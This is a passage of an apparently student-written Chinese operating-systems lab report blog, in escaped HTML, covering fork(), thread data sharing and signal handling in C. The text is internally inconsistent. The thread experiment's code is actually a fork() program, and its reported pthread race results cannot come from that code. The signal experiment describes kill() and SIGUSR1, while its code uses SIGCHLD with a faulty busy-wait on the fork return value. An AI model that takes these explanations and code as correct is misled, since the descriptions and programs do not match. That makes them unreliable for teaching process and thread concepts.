class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523162739.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,程序的执行顺序确实是先子进程再父进程。输出的文件内容也正确。\u003c/p\u003e\u003ch3 id=\"五、实验心得\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下\u003ccode\u003efork()\u003c/code\u003e系统调用的用法,知道了如何创建一个新的进程,也知道了\u003ccode\u003efork()\u003c/code\u003e的返回值的含义,能编写一个单文件的多进程程序。\u003c/p\u003e\u003ch2 id=\"实验2:线程共享进程数据\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C2%EF%BC%9A%E7%BA%BF%E7%A8%8B%E5%85%B1%E4%BA%AB%E8%BF%9B%E7%A8%8B%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"实验2:线程共享进程数据\"\u003e\u003c/a\u003e实验2:线程共享进程数据\u003c/h2\u003e\u003ch3 id=\"一、实验目标-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-1\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e创建多个线程,并让它们共享进程数据\u003c/li\u003e\u003cli\u003e理解线程之间的数据竞争和同步问题\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-1\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003epthread.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中定义一个全局变量\u003ccode\u003ecount\u003c/code\u003e作为共享数据,并初始化为0。随后在主程序中创建两个线程,并传入一个函数指针作为线程执行的任务。\u003c/p\u003e\u003cp\u003e该函数指针指向一个自定义的函数\u003ccode\u003ethread_func\u003c/code\u003e,该函数接受一个整型参数\u003ccode\u003eid\u003c/code\u003e作为线程标识,并在函数内部对全局变量\u003ccode\u003ecount\u003c/code\u003e进行加一操作,并打印出当前线程的标识和\u003ccode\u003ecount\u003c/code\u003e的值。\u003c/p\u003e\u003cp\u003e在主程序中,使用\u003ccode\u003epthread_join\u003c/code\u003e等待两个线程执行完毕后再退出。\u003c/p\u003e\u003ch3 id=\"三、实验代码-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-1\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data = \u003cspan class=\"number\"\u003e123\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] main process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc = fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Fork failed.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] sub process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e data+=\u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] sub process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e wc=wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] main process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-1\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523164141.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,两个线程都能访问和修改全局变量\u003ccode\u003ecount\u003c/code\u003e,但是由于没有同步机制,导致输出结果不确定,有时候会出现两个线程同时输出相同的值。\u003c/p\u003e\u003ch3 id=\"五、实验心得-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-1\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下创建多线程的方法,知道了如何使用全局变量作为进程数据,在线程之间进行数据共享。同时,我也意识到了线程之间存在数据竞争的问题,需要使用同步机制来保证数据的一致性和正确性。\u003c/p\u003e\u003ch2 id=\"实验3:信号通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C3%EF%BC%9A%E4%BF%A1%E5%8F%B7%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"实验3:信号通信\"\u003e\u003c/a\u003e实验3:信号通信\u003c/h2\u003e\u003ch3 id=\"一、实验目标-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-2\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解信号通信的原理和用法\u003c/li\u003e\u003cli\u003e使用信号通信实现父子进程之间的简单交互\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-2\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003esignal.h\u003c/code\u003e和\u003ccode\u003eunistd.h\u003c/code\u003e。在主程序中调用\u003ccode\u003efork()\u003c/code\u003e创建子进程,并根据函数返回值确定进程类型,并执行相应操作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程使用\u003ccode\u003esleep()\u003c/code\u003e函数延迟一段时间后,使用\u003ccode\u003ekill()\u003c/code\u003e函数向父进程发送一个信号(如SIGUSR1)。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程定义一个信号处理函数\u003ccode\u003esighandler()\u003c/code\u003e,并使用\u003ccode\u003esignal()\u003c/code\u003e函数将该函数绑定到子进程发送的信号上。在信号处理函数中,打印出收到信号的信息,并使用\u003ccode\u003eexit()\u003c/code\u003e函数终止父进程。\u003c/p\u003e\u003ch3 id=\"三、实验代码-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-2\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e pid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esigchld_handler\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e sig)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(sig==SIGCHLD){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wait(\u0026amp;pid);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(WIFEXITED(pid)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SIGCHLD-\u0026gt;%d\\n\u0026#34;\u003c/span\u003e, WEXITSTATUS(pid));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(sig==SIGINT){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SIGINT\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e signal(SIGINT , sigchld_handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e signal(SIGCHLD, sigchld_handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Fork failed.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// child process\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[child_pid %d]started child process.\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[child_pid %d]running child process.\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(!WIFEXITED(pid));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-2\" class=\"headerlink\" 